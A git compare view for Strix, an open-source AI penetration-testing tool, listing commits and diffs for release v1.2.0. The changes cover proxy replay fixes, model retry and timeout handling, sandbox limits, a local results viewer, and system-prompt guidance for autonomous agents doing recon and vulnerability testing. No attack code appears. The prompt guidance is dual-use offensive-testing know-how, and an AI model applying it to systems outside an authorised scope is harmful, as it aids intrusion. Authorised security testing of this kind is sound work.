Compare commits

..
Author SHA1 Message Date
Ahmed AllamandAhmed Allam 48b4821f69 chore: release v1.2.0 2026-07-21 09:05:04 -07:00
yoni-at-strixandGitHub f600f99103 Local run viewer: email reports, run history, and the platform suite (#813) 2026-07-21 08:13:03 -07:00
alex sandGitHub 6a3e0597ce docs(skills): add Active Directory / Kerberos domain testing skill (#825)
* docs(skills): add Active Directory / Kerberos domain testing skill

* docs(skills): fix AD skill collector package + split invalid pipx install
2026-07-21 10:59:28 -04:00
alex sandGitHub ad27f0c67e docs(reporting): add CVSS calibration guidance to reduce severity inf… (#821)
* docs(reporting): add CVSS calibration guidance to reduce severity inflation

The create_vulnerability_report tool documents the cvss_breakdown format but
gives no guidance on choosing metric values, so findings are frequently
over-rated. Add a concise calibration block covering the most common
inflation mistakes: scoring scenarios that presuppose the attacker already
holds a stolen secret as unauthenticated (PR:N) criticals, using C:H/I:H for
single-user or read-only/enumeration impact, folding a chained worst case
into one vector, and ignoring adversary-in-the-middle or user-interaction
prerequisites.

* docs(reporting): drop 'one weakness per report' calibration bullet
2026-07-21 09:17:22 -04:00
f967e6017b fix(report): prevent code-fence breakout in vulnerability markdown (#817)
* fix(report): prevent code-fence breakout in vulnerability markdown

render_vulnerability_md wrapped LLM-authored poc_script_code and code
snippet values in a fixed three-backtick fence, so a triple-backtick inside
the value closed the fence early and the rest rendered as live markdown
(headings, tracking-beacon images) in the shareable report deliverable.

Open each such block with a fence one backtick longer than the longest
backtick run in the payload (CommonMark: a block closes only on a fence at
least as long as the opener), so the content always renders verbatim. The
adjacent ```diff block is already safe (its lines are '- '/'+ ' prefixed and
so can never be a bare-backtick closing fence) and is left unchanged.

Fixes #815

* fix(report): indent multiline snippets

---------

Co-authored-by: thejesh23 <thejesh23@users.noreply.github.com>
Co-authored-by: Alex Schapiro <bearsyankees@gmail.com>
2026-07-20 22:07:44 -04:00
alex sandGitHub f9890a672d strip transfer encoding (#820)
* test(proxy): drop transfer encoding on replay

* test(proxy): drop transfer encoding on replay
2026-07-20 21:56:34 -04:00
599f7c7526 fix(proxy): recompute Content-Length when replaying a modified body (#816)
build_raw_request kept the Content-Length inherited from the captured
request, so replaying a modified body (repeat_request) emitted a request
whose declared length did not match the body — truncating the payload or
stalling the target. Drop any inherited Content-Length (case-insensitively)
and recompute it from the body actually being sent.

Adds tests covering a lengthened body, an emptied body, and the
no-inherited-header path.

Fixes #814

Co-authored-by: thejesh23 <thejesh23@users.noreply.github.com>
2026-07-20 21:43:49 -04:00
alex sandGitHub 8cd9abba21 docs(skills): add grafana_prometheus observability pivot skill (#812)
* docs(skills): add grafana_prometheus observability pivot skill

* docs(skills): fix grafana/prometheus SSRF + redacted-creds accuracy (greptile)
2026-07-20 13:56:25 -04:00
alex sandGitHub 230324d2b8 recon asset discovery skill (#809)
* Add passive asset discovery reconnaissance skill

* Document asset discovery reconnaissance skill

* Refine asset discovery reconnaissance skill

* Add scope guidance to asset discovery skill
2026-07-19 16:47:31 -04:00
Ahmed AllamandAhmed Allam 7d5a67d234 chore(llm): shorten timeout helper docstring; update tests 2026-07-17 19:45:32 -07:00
Ahmed AllamandAhmed Allam 88ad3e4472 fix(llm): use a JSON-serializable per-turn model timeout
An httpx.Timeout in ModelSettings.extra_args crashes
ModelSettings.to_json_dict() (PydanticSerializationError) on the Chat
Completions and LiteLLM model paths, which serialize settings for their
tracing generation span — failing every model turn on those paths. Pass
the timeout as a plain float, which httpx-based clients apply as the
read (inactivity) timeout.
2026-07-17 19:45:32 -07:00
Ahmed AllamandAhmed Allam cf7689e927 fix(llm): use httpx.Timeout read-inactivity for per-turn model timeout 2026-07-17 18:40:23 -07:00
Ahmed AllamandAhmed Allam 3bb95ab43d fix(llm): add per-turn model request timeout so stalled streams fail fast and retry 2026-07-17 18:40:23 -07:00
Ahmed AllamandAhmed Allam 9aa151c687 fix(llm): retry statusless mid-stream provider errors (quota/billing)
The SDK's http_status retry policy only retries errors carrying a known
HTTP status code, but quota/billing (and other provider-side) failures
often surface inside a streamed response as a bare error with no status
code, so they were failing on the first attempt. Add a statusless retry
policy to DEFAULT_MODEL_RETRY (retry count and backoff unchanged) so they
are retried before a genuine exhaustion fails the run; user aborts are
never retried.
2026-07-17 16:47:14 -07:00
Ahmed AllamandAhmed Allam b9c2592b53 fix(llm): retry statusless mid-stream provider errors (quota/billing)
The SDK's http_status retry policy only retries errors carrying a known
HTTP status code, but quota/billing (and other provider-side) failures
often surface inside a streamed response as a bare error with no status
code, so they were failing on the first attempt. Add a statusless retry
policy to DEFAULT_MODEL_RETRY so they are retried (before any content is
streamed; user aborts are never retried), restoring the pre-SDK engine's
resilience. If the provider is genuinely exhausted, the error still
propagates and fails the scan after retries.
2026-07-17 16:47:14 -07:00
devin-ai-integration[bot]andGitHub f54ecb74f9 fix(report): restore cost tracking for OpenRouter and other LiteLLM-routed models (#801) 2026-07-17 13:38:23 -07:00
96ca7e544d revert(proxy): drop overfit Caido reconnect/HTTPQL band-aids, keep serialization lock (#799)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2026-07-17 13:18:40 -07:00
e4548cb28c fix(proxy,tooling): serialize+reconnect Caido client, actionable HTTPQL errors, sandbox tool guidance (#794)
* fix(proxy,tooling): serialize+reconnect Caido client, actionable HTTPQL errors, sandbox tool guidance

Addresses the top recurring agent tool-call failures observed in telemetry:

- proxy: the shared Caido client had no locking or reconnect, so concurrent
  agent calls raced ("Transport is already connected") and a dead transport
  poisoned the rest of the run ("Connector is closed"/"Server disconnected").
  Add an asyncio lock + bounded reconnect in caido_api.call_with_client (sandbox
  path) and a scan-wide caido_lock in the run context that host-side proxy tools
  hold around every call. Deterministic errors are not retried.
- proxy: list_requests now returns Caido's exact parser message, echoes the
  offending query, and includes a corrected-syntax hint so agents self-correct
  instead of retrying a broken HTTPQL filter.
- shell/prompt: document that write_stdin requires a process started with
  tty=true; nudge toward writing Python to a file over deeply-nested one-liners;
  note the venv pre-installs common libs.
- agent-browser: distinguish daemon/connection failures (run doctor, don't loop)
  from malformed commands; invoke directly (no sh -c wrapper).
- containers: use POSIX '.' instead of the bashism 'source' in generated rc
  files (fixes 'sh: source: not found'); add file + xxd and pre-install
  requests/httpx/beautifulsoup4/lxml/pyjwt/cryptography in the sandbox venv.
- tests: cover proxy serialization/reconnect/no-retry and HTTPQL errors.

* fix(proxy): host-side reconnect, close stale clients, don't retry mutations

Addresses Greptile review on the reconnect logic:

- Host path had no reconnect: a dead shared context client (Caido restart /
  network blip) previously disabled proxy tools for the rest of the scan. Add
  SharedCaidoClient, a serialized reconnect-safe holder stored once per scan in
  the run context and shared across agents. On a dead transport it rebuilds via
  reconnect_caido, which re-selects the SAME Caido project (preserving captured
  traffic) instead of creating a new empty one.
- Don't repeat completed mutations: call_with_client / SharedCaidoClient.call
  take idempotent=. Reads retry once on reconnect; replay + scope
  create/update/delete heal the client but re-raise instead of risking a
  double-apply.
- Don't leak replaced clients: the stale client is aclose()d (best-effort) on
  every reconnect.
- Extend tests to cover close-on-reconnect, non-idempotent re-raise, and the
  SharedCaidoClient holder.

* fix(proxy): close replacement Caido client when project.select fails

Addresses Greptile P1: in reconnect_caido (and bootstrap_caido) a successful
connect() followed by a failing project.select()/create() discarded the
connected client without closing it, so a missing/unavailable project could
leak a transport on every retry. Close the client before re-raising.

---------

Co-authored-by: Alex Schapiro <bearsyankees@gmail.com>
2026-07-17 13:31:57 -04:00
df97c86f8f fix(prompt): down-rate or skip findings on demo data / demo environments (#793)
* fix(prompt): treat demo/sample data and demo environments as low severity or skip

* Update system_prompt.jinja

* fix(prompt): use demo context as a skip signal, not a CVSS override

* fix(prompt): let demo context honestly inform CVSS impact metrics

* fix(prompt): focus on detecting demo environments to inform CVSS impact

* fix(prompt): keep demo-environment check concise

* fix(prompt): trim demo-environment check to a short addendum

---------

Co-authored-by: Alex Schapiro <bearsyankees@gmail.com>
Co-authored-by: alex s <46074070+bearsyankees@users.noreply.github.com>
2026-07-16 22:14:36 -04:00
Ahmed AllamandGitHub af65796ec0 fix(runtime): close the docker client on session cleanup (#787) 2026-07-16 11:06:18 -07:00
Ahmed AllamandGitHub e2eb39a02e fix(runtime): cap sandbox container logs to prevent host disk exhaustion (#785) 2026-07-16 09:17:46 -07:00
Ahmed AllamandAhmed Allam 3a50a5ab0e docs(python skill): recommend a task-unique PoC filename to avoid inter-agent collisions 2026-07-16 09:15:40 -07:00
Ahmed AllamandAhmed Allam a529d7f73a docs(python skill): use a distinctive PoC filename to avoid clobbering project files 2026-07-16 09:15:40 -07:00
Ahmed AllamandAhmed Allam f6bd617964 docs(prompts,skills): stop hardcoding /workspace/scratch path
The sandbox never creates /workspace/scratch, so guidance pointing agents
there failed on first write. Make the Python/exec_command and recon
output-hygiene guidance path-agnostic (write to a file, relative to the
working dir) instead of naming a directory that may not exist.
2026-07-16 09:15:40 -07:00
devin-ai-integration[bot]andGitHub 6786d24aca docs(tools): guide proportional wait_for_message timeouts (#784) 2026-07-16 07:16:12 -07:00
Ahmed AllamandAhmed Allam 89ee7b9e5e docs(skills): add research-backed katana output-reduction flags
Per projectdiscovery katana docs, add the flags that actually bound
crawl output size and a reduce-then-delete workflow:
- -mdp (max-domain-pages; default is unlimited), -fsu (filter-similar),
  -fs scope, -f url (URL-only), -or/-ob (omit raw/body), -mrs.
- Baseline now includes -mdp 2000 -fsu; new 'Keeping output small'
  section: bound scope/volume, shrink records, distil then delete raw
  crawls.
2026-07-16 04:47:56 -07:00
Ahmed AllamandAhmed Allam 98990bae45 docs(prompts,skills): scope cleanup to own files; dedupe JSONL by URL
Address Greptile review:
- system_prompt: only clean up your own task's files; don't delete
  another agent's files in the shared workspace unless confirmed unused.
- katana.md: extract+dedupe URLs with jq before removing raw .jsonl
  (sort -u on JSONL compares whole records, not URLs).
2026-07-16 04:47:56 -07:00
Ahmed AllamandAhmed Allam 4b619d57a0 docs(prompts,skills): bound recon output for shared-disk hygiene
Add lightweight, always-on disk-hygiene guidance so agents keep recon
artifacts bounded on the shared /workspace instead of writing very large
uncapped crawl output.

- system_prompt.jinja: DISK & SCRATCH HYGIENE note in the shared-workspace
  block; recon PHASE 1 crawl bullet asks to bound each crawl and tidy up.
- skills/tooling/katana.md: bound the baseline/deep examples with -ct,
  add a Keeping-output-manageable note (bound by -ct/-d, reserve -jsl/-kf
  all for narrowed targets, check du -sh, dedupe and remove raw .jsonl).
2026-07-16 04:47:56 -07:00
Devin AIandAhmed Allam 38c2936f69 Revert "fix(runtime): retry transient sandbox startup failures (#768)"
This reverts commit 40f4e67320.
2026-07-16 04:09:08 -07:00
Ahmed AllamandAhmed Allam 16982646df fix(runtime): bound nano_cpus to docker's int64 NanoCPUs range 2026-07-15 18:31:03 -07:00
Ahmed AllamandAhmed Allam 575e10a404 fix(runtime): also suppress OverflowError for non-finite STRIX_SANDBOX_CPUS 2026-07-15 18:31:03 -07:00
Ahmed AllamandAhmed Allam 84185db23b feat(runtime): opt-in resource limits for docker sandbox containers
Apply cgroup caps (mem_limit, shm_size, nano_cpus, pids_limit) to the
sandbox container from STRIX_SANDBOX_* env vars. Unset values keep
docker's unbounded default, so behavior is unchanged unless opted in.
2026-07-15 18:31:03 -07:00
devin-ai-integration[bot]andGitHub 899e07d3a2 fix(core): bound per-agent image memory (proactive budget + inherited-context scrub) (#779) 2026-07-15 18:13:42 -07:00
914207ffb3 feat(runtime): resolve sandbox ports over a shared Docker network (#775)
Co-authored-by: Ahmed Allam <ahmed39652003@gmail.com>
2026-07-15 11:57:42 -07:00
alex sandGitHub 40f4e67320 fix(runtime): retry transient sandbox startup failures (#768)
* fix(runtime): retry transient sandbox startup failures

* fix(runtime): fail closed when sandbox teardown fails
2026-07-14 23:27:06 -04:00
131 changed files with 18997 additions and 1996 deletions
+12 -4
View File
@@ -1,17 +1,25 @@
# Node / local-viewer SPA source (the built bundle in
# strix/viewer/static/ is committed and shipped; do not ignore it)
node_modules/
strix/viewer/frontend/node_modules/
strix/viewer/frontend/.vite/
# Python
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
build/
# Anchored to the repo root: these are Python build-artifact dir names, but
# unanchored they also match nested source dirs (e.g. the viewer's src/lib).
/build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
/lib/
/lib64/
parts/
sdist/
var/
@@ -46,7 +54,7 @@ pip-delete-this-directory.txt
.env.production.local
# MongoDB
data/
/data/
mongod.log
*.mongodb
*.mongorc.js
+14
View File
@@ -99,6 +99,20 @@ We welcome feature ideas! Please:
- Consider implementation approach
- Be open to discussion
## 🖥️ Local viewer SPA
`strix view` serves a prebuilt web UI whose source lives in
`strix/viewer/frontend/` (a Vite + React project) and whose built output is
committed to `strix/viewer/static/` and shipped in the package. End users never
run a JS build. If you change anything under `strix/viewer/frontend/`, rebuild
and commit the output:
```bash
make viewer # or: cd strix/viewer/frontend && npm ci && npm run build
```
Commit both the source change and the regenerated `strix/viewer/static/`.
## 🤝 Community
- **Discord**: [Join our community](https://discord.gg/strix-ai)
+7 -1
View File
@@ -1,4 +1,4 @@
.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev
.PHONY: help install dev-install format lint type-check security check-all clean pre-commit setup-dev dev viewer
help:
@echo "Available commands:"
@@ -15,6 +15,7 @@ help:
@echo ""
@echo "Development:"
@echo " pre-commit - Run pre-commit hooks on all files"
@echo " viewer - Rebuild the local-viewer SPA (commit the output)"
@echo " clean - Clean up cache files and artifacts"
install:
@@ -66,5 +67,10 @@ clean:
find . -name "*.pyc" -delete 2>/dev/null || true
@echo "✅ Cleanup complete!"
viewer:
@echo "🖥️ Building the local-viewer SPA..."
cd strix/viewer/frontend && npm ci && npm run build
@echo "✅ Viewer built to strix/viewer/static/ (commit the changes)."
dev: format lint type-check
@echo "✅ Development cycle complete!"
+25
View File
@@ -145,6 +145,31 @@ Advanced multi-agent orchestration for comprehensive automated penetration testi
---
## 🖥️ Local Web Viewer
Every scan writes its results to disk as it runs. Bring them up in a local dashboard with a single command:
```bash
# Open the most recent run
strix view
# ...or open a specific run by name
strix view my-run-name
```
`strix view` starts a lightweight local server (bound to `127.0.0.1` on a random port) and opens your browser to a private, tokened link. Nothing leaves your machine: the dashboard reads the run's files straight off disk, with no cloud account or upload required. The UI ships prebuilt with Strix, so there is no extra install and no JS build step.
### What's in the dashboard
- **Overview**: run status, target, and a severity breakdown of everything found so far.
- **Vulnerabilities**: each validated finding with its severity, details, and reproduction steps.
- **Agent graph**: a live map of the multi-agent team, showing which agent is doing what.
- **Steering**: send instructions to a live scan from the browser to redirect the agents mid-run.
- **History**: browse past runs on this machine and jump between them.
- **Reports**: generate a shareable report and email it to yourself or your team.
---
## Usage Examples
### Basic Usage
+3
View File
@@ -24,6 +24,7 @@ RUN apt-get update && \
python3 python3-pip python3-dev python3-venv python3-setuptools \
golang-go \
net-tools dnsutils whois \
file xxd \
jq parallel ripgrep grep \
less man-db procps htop \
iproute2 iputils-ping netcat-traditional \
@@ -192,6 +193,8 @@ RUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app
USER pentester
RUN python3 -m venv /app/.venv && \
/app/.venv/bin/pip install --no-cache-dir caido-sdk-client && \
/app/.venv/bin/pip install --no-cache-dir \
requests httpx beautifulsoup4 lxml pyjwt cryptography && \
/app/.venv/bin/pip install --no-cache-dir -r /home/pentester/tools/jwt_tool/requirements.txt && \
printf '%s\n' \
'#!/bin/bash' \
+6 -3
View File
@@ -91,10 +91,13 @@ http_proxy=http://127.0.0.1:${CAIDO_PORT}
https_proxy=http://127.0.0.1:${CAIDO_PORT}
EOF
echo "source /etc/profile.d/proxy.sh" >> ~/.bashrc
echo "source /etc/profile.d/proxy.sh" >> ~/.zshrc
# Use POSIX `.` (not the bashism `source`) so these lines are safe when the rc
# files are read by a POSIX shell (e.g. `sh -lc`), which otherwise fails with
# "source: not found". `.` is understood by bash, zsh, and dash alike.
echo ". /etc/profile.d/proxy.sh" >> ~/.bashrc
echo ". /etc/profile.d/proxy.sh" >> ~/.zshrc
source /etc/profile.d/proxy.sh
. /etc/profile.d/proxy.sh
echo "✅ System-wide proxy configuration complete"
+8
View File
@@ -81,6 +81,14 @@ Protocol-specific testing techniques.
| --------- | ------------------------------------------------ |
| `graphql` | GraphQL introspection, batching, resolver issues |
### Reconnaissance
Passive discovery and attack-surface mapping techniques.
| Skill | Coverage |
| ----------------- | --------------------------------------------------------------- |
| `asset_discovery` | CT, TLS SAN pivoting, passive DNS, and ASN/IP asset enumeration |
### Tooling
Sandbox CLI playbooks for core recon and scanning tools.
+19 -1
View File
@@ -1,6 +1,6 @@
[project]
name = "strix-agent"
version = "1.1.0"
version = "1.2.0"
description = "Open-source AI Hackers for your apps"
readme = "README.md"
license = "Apache-2.0"
@@ -44,6 +44,9 @@ dependencies = [
"requests>=2.32.0",
"cvss>=3.2",
"caido-sdk-client>=0.2.0",
"reportlab>=4.0",
"pypdf>=5.0",
"cryptography>=42",
]
[project.optional-dependencies]
@@ -74,6 +77,10 @@ build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
packages = ["strix"]
# The prebuilt viewer bundle under strix/viewer/static/ ships automatically
# (hatchling includes non-.py files under the package). The Vite SOURCE lives
# under the package dir too (strix/viewer/frontend/) but must never ship in the wheel.
exclude = ["strix/viewer/frontend", "strix/viewer/frontend/**"]
# ============================================================================
# Type Checking Configuration
@@ -111,6 +118,8 @@ module = [
"docker.*",
"caido_sdk_client.*",
"pydantic_settings.*",
"reportlab.*",
"pypdf.*",
]
ignore_missing_imports = true
disable_error_code = ["import-untyped"]
@@ -201,6 +210,15 @@ ignore = [
]
[tool.ruff.lint.per-file-ignores]
# Test doubles use fixture tokens/passwords and match a callee signature whose
# args they intentionally ignore.
"tests/test_viewer_auth.py" = ["S105", "S106", "ARG001"]
"tests/test_report_pdf.py" = ["S105", "S106"]
# Stdlib HTTP handler overrides (do_GET/do_POST) and lazy imports that avoid a
# circular dependency with strix.telemetry / strix.viewer.report_pdf.
"strix/viewer/server.py" = ["N802", "PLC0415"]
# Lazy telemetry import to avoid importing PostHog before the viewer starts.
"strix/viewer/cli.py" = ["PLC0415"]
# Lazy imports inside functions to avoid circular dependency with
# strix.telemetry / strix.report.dedupe / cvss.
"strix/tools/notes/tools.py" = ["PLC0415", "TC002"]
+32 -1
View File
@@ -25,6 +25,13 @@ for tcss_file in strix_root.rglob('*.tcss'):
rel_path = tcss_file.relative_to(project_root)
datas.append((str(tcss_file), str(rel_path.parent)))
# Prebuilt local-viewer SPA (served by `strix view`).
viewer_static = strix_root / 'viewer' / 'static'
for asset in viewer_static.rglob('*'):
if asset.is_file():
rel_path = asset.relative_to(project_root)
datas.append((str(asset), str(rel_path.parent)))
datas += collect_data_files('textual')
datas += collect_data_files('tiktoken')
@@ -151,6 +158,21 @@ hiddenimports = [
'strix.report.dedupe',
'strix.report.state',
'strix.report.writer',
'strix.viewer',
'strix.viewer.auth',
'strix.viewer.cli',
'strix.viewer.report_pdf',
'strix.viewer.server',
'strix.viewer.transcript',
# PDF report generation + encryption
'reportlab',
'reportlab.pdfgen',
'reportlab.pdfbase',
'reportlab.lib',
'reportlab.platypus',
'pypdf',
'cryptography',
'strix.runtime',
'strix.runtime.backends',
'strix.runtime.caido_bootstrap',
@@ -178,6 +200,16 @@ hiddenimports += collect_submodules('textual')
hiddenimports += collect_submodules('rich')
hiddenimports += collect_submodules('pydantic')
hiddenimports += collect_submodules('pygments')
# reportlab loads renderers/fonts dynamically, so pull its whole tree in.
hiddenimports += collect_submodules('reportlab')
# reportlab ships bundled fonts (.pfb/.afm) it needs at runtime.
datas += collect_data_files('reportlab')
# reportlab imports PIL (pillow) lazily for image handling, so it must be
# bundled explicitly and kept out of the excludes list below.
hiddenimports += collect_submodules('PIL')
datas += collect_data_files('PIL')
excludes = [
# Sandbox-only packages
@@ -225,7 +257,6 @@ excludes = [
'numpy',
'pandas',
'scipy',
'PIL',
'cv2',
]
+27 -5
View File
@@ -168,9 +168,24 @@ EFFICIENCY TACTICS:
- Download additional tools as needed for specific tasks
- Run multiple scans in parallel when possible
- Load the most relevant skill before starting a specialized testing workflow if doing so will improve accuracy, speed, or tool usage
- Use `exec_command` for Python code: write reusable scripts under
`/workspace/scratch/` and run them with `python3`. For one-off snippets,
`python3 -c` or a here-document is acceptable.
- Use `exec_command` for Python code: write reusable scripts to a file and
run them with `python3 script.py`. For one-off snippets, `python3 -c` or a
here-document is acceptable, but avoid deeply nested quotes/parentheses — if
a snippet needs complex quoting or is more than a few lines, write it to a
file first to prevent syntax errors.
- Before importing a third-party Python library, make sure it is installed. The
sandbox's `python3` runs inside a preconfigured virtualenv that ships
`requests`, `httpx`, `beautifulsoup4` (bs4), `lxml`, `pyjwt`, and
`cryptography`; for anything else prefer the stdlib or run `pip install <pkg>`
(it installs into that active venv) before importing, rather than letting the
script fail with `ModuleNotFoundError`.
- `exec_command` runs each command in a fresh non-interactive shell (plain
pipes, no TTY). To drive an interactive or long-running process with
`write_stdin` — REPLs, `ssh`/`nc`/`ftp`, `msfconsole`, or to send Ctrl-C —
you MUST start it with `exec_command(cmd="...", tty=true)` and then
`write_stdin(session_id=<id>, chars="...")`. Calling `write_stdin` on a
default (non-TTY) command or on a process that has already exited fails with
"stdin is not available".
- For Caido proxy automation inside Python, explicitly import from
`caido_api`:
`from caido_api import list_requests, view_request, repeat_request, list_sitemap, view_sitemap_entry, scope_rules`
@@ -186,7 +201,7 @@ EFFICIENCY TACTICS:
VALIDATION REQUIREMENTS:
- Full validation required - no assumptions
- Demonstrate concrete impact with evidence
- Consider business context for severity assessment
- Consider business context for severity assessment — check whether the target is a demo/sandbox environment or content meant to be public, and factor that in
- Independent verification through subagent
- Document complete attack chain
- Keep going until you find something that matters
@@ -240,12 +255,18 @@ AGENT ISOLATION & SANDBOXING:
- All agents share the same /workspace directory and proxy history
- Agents can see each other's files and proxy traffic for better collaboration
DISK & SCRATCH HYGIENE:
- /workspace is a shared, finite disk used by all agents at once — be a considerate tenant
- Prefer bounded recon: scope crawls and scans by depth, duration, and target rather than "collect everything"
- Redirect large tool output to a file, and once you've extracted what you need (e.g. a URL/endpoint list), remove the raw output
- If disk gets tight or a write fails for space, check what's large under /workspace and clean up files from your own task; leave another agent's files unless you've confirmed they're no longer in use
MANDATORY INITIAL PHASES:
BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):
- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection
- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files — keep each crawl bounded by depth/duration, and tidy up raw output once endpoints are extracted
- ENUMERATE technologies: frameworks, libraries, versions, dependencies
- Reconnaissance should normally happen before targeted vulnerability discovery unless the correct next move is already obvious or the user/system explicitly asks to prioritize a specific area first
- ONLY AFTER comprehensive mapping → proceed to vulnerability testing
@@ -413,6 +434,7 @@ SPECIALIZED TOOLS:
PROXY & INTERCEPTION:
- Caido CLI - Modern web proxy (already running). Use the proxy tools
directly, or import `caido_api` from sandbox Python scripts.
- HTTPQL filters (for `list_requests`): quote string values, leave integers unquoted (`resp.code.eq:200`, not `"200"`); combine terms with `AND`/`OR` (there is no `NOT` — use the negated operator `ne`/`ncont`/`nregex`). Numeric fields (`resp.code`, `req.port`) use `eq`/`ne`/`gt`/`gte`/`lt`/`lte`; text fields (`req.host`, `req.path`, `req.method`, `req.raw`) use `cont`/`ncont`/`eq`/`regex`. Example: `resp.code.gte:200 AND resp.code.lt:300 AND req.host.cont:"api"`.
- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
+17
View File
@@ -10,6 +10,7 @@ from agents.models.multi_provider import MultiProvider
from agents.retry import (
ModelRetryBackoffSettings,
ModelRetrySettings,
RetryPolicyContext,
retry_policies,
)
@@ -20,6 +21,21 @@ if TYPE_CHECKING:
from strix.config.settings import Settings
def request_timeout_extra_args(timeout_s: float | None) -> dict[str, float] | None:
"""Per-request model timeout; a plain float so ``ModelSettings.to_json_dict()`` stays serializable.""" # noqa: E501
if not timeout_s or timeout_s <= 0:
return None
return {"timeout": timeout_s}
def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
"""Retry statusless provider errors (e.g. mid-stream quota/billing), but not aborts."""
normalized = context.normalized
if normalized.is_abort:
return False
return normalized.status_code is None
class StrixProvider(MultiProvider):
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
so users type ``deepseek/deepseek-chat`` rather than
@@ -56,6 +72,7 @@ DEFAULT_MODEL_RETRY = ModelRetrySettings(
retry_policies.provider_suggested(),
retry_policies.network_error(),
retry_policies.http_status((429, 500, 502, 503, 504)),
_retry_statusless_provider_errors,
),
)
+12
View File
@@ -56,6 +56,8 @@ class RuntimeSettings(BaseSettings):
# on large repos). Above this, the user must bind-mount via ``--mount``.
# Set to 0 (or less) to disable the pre-flight check entirely.
max_local_copy_mb: int = Field(default=1024, alias="STRIX_MAX_LOCAL_COPY_MB")
# Max screenshot/image tool outputs kept live per agent context (0 = none).
max_context_images: int = Field(default=3, ge=0, alias="STRIX_MAX_CONTEXT_IMAGES")
class TelemetrySettings(BaseSettings):
@@ -70,6 +72,15 @@ class IntegrationSettings(BaseSettings):
perplexity_api_key: str | None = Field(default=None, alias="PERPLEXITY_API_KEY")
class ViewerSettings(BaseSettings):
model_config = _BASE_CONFIG
# Base URL of the Strix relay the local viewer proxies to for email
# verification and encrypted report delivery. The browser never talks to
# the relay directly; the local server is the only caller.
app_url: str = Field(default="https://app.strix.ai", alias="STRIX_APP_URL")
class Settings(BaseSettings):
model_config = _BASE_CONFIG
@@ -77,3 +88,4 @@ class Settings(BaseSettings):
runtime: RuntimeSettings = Field(default_factory=RuntimeSettings)
telemetry: TelemetrySettings = Field(default_factory=TelemetrySettings)
integrations: IntegrationSettings = Field(default_factory=IntegrationSettings)
viewer: ViewerSettings = Field(default_factory=ViewerSettings)
+4 -1
View File
@@ -10,6 +10,8 @@ from dataclasses import dataclass, field
from pathlib import Path
from typing import TYPE_CHECKING, Any, Literal, cast
from strix.core.sessions import session_write_lock
if TYPE_CHECKING:
from agents.items import TResponseInputItem
@@ -137,7 +139,8 @@ class AgentCoordinator:
)
return False
try:
await session.add_items([self._message_to_session_item(message)])
async with session_write_lock(session):
await session.add_items([self._message_to_session_item(message)])
except Exception:
logger.exception(
"agent.send failed to append to SDK session target=%s",
+12 -1
View File
@@ -17,7 +17,11 @@ from openai import APIError
from strix.core.hooks import BudgetExceededError
from strix.core.inputs import child_initial_input
from strix.core.sessions import open_agent_session, strip_all_images_from_session
from strix.core.sessions import (
enforce_image_budget,
open_agent_session,
strip_all_images_from_session,
)
if TYPE_CHECKING:
@@ -349,6 +353,13 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
while True:
try:
await coordinator.mark_running(agent_id)
if session is not None:
max_images = context.get("max_context_images")
if isinstance(max_images, int):
try:
await enforce_image_budget(session, max_images)
except Exception:
logger.exception("image-budget enforcement failed for %s", agent_id)
stream = Runner.run_streamed(
agent,
input=input_data,
+1 -2
View File
@@ -3,6 +3,7 @@
from __future__ import annotations
import logging
import math
from typing import TYPE_CHECKING, Any
from agents.lifecycle import RunHooks
@@ -27,8 +28,6 @@ class ReportUsageHooks(RunHooks[dict[str, Any]]):
"""Persist SDK-native usage after every model response."""
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
import math
if max_budget_usd is not None and (
not math.isfinite(max_budget_usd) or max_budget_usd <= 0
):
+9 -1
View File
@@ -12,7 +12,9 @@ from strix.config.models import (
DEFAULT_MODEL_RETRY,
is_known_openai_bare_model,
model_supports_reasoning,
request_timeout_extra_args,
)
from strix.core.sessions import scrub_images_from_items
if TYPE_CHECKING:
@@ -125,11 +127,13 @@ def make_model_settings(
*,
model_name: str,
force_required_tool_choice: bool = False,
request_timeout: float | None = None,
) -> ModelSettings:
model_settings = ModelSettings(
parallel_tool_calls=False,
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
extra_args=request_timeout_extra_args(request_timeout),
)
if (
reasoning_effort is not None
@@ -161,7 +165,11 @@ def child_initial_input(
"""
parts: list[str] = []
if parent_history:
rendered = json.dumps(parent_history, ensure_ascii=False, default=str)
rendered = json.dumps(
scrub_images_from_items(parent_history),
ensure_ascii=False,
default=str,
)
parts.append(
"== Inherited context from parent (background only) ==\n"
f"{rendered}\n"
+17
View File
@@ -21,3 +21,20 @@ def runtime_state_dir(run_dir: Path) -> Path:
def run_record_path(run_dir: Path) -> Path:
return run_dir / RUN_RECORD_FILENAME
def runs_base_dir(*, cwd: Path | None = None) -> Path:
base = cwd or Path.cwd()
return base / RUNS_DIR_NAME
def latest_run_dir(*, cwd: Path | None = None) -> Path | None:
base = runs_base_dir(cwd=cwd)
if not base.is_dir():
return None
candidates = [child for child in base.iterdir() if run_record_path(child).is_file()]
if not candidates:
return None
# run.json is rewritten on status/end changes, so its mtime tracks activity
# more reliably than the directory mtime (a live run sorts to the top).
return max(candidates, key=lambda child: run_record_path(child).stat().st_mtime)
+2
View File
@@ -215,6 +215,7 @@ async def run_strix_scan(
settings.llm.reasoning_effort,
model_name=resolved_model,
force_required_tool_choice=settings.llm.force_required_tool_choice,
request_timeout=settings.llm.timeout,
)
run_config = RunConfig(
model=resolved_model,
@@ -287,6 +288,7 @@ async def run_strix_scan(
"parent_id": None,
"interactive": interactive,
"spawn_child_agent": spawn_child_agent,
"max_context_images": settings.runtime.max_context_images,
}
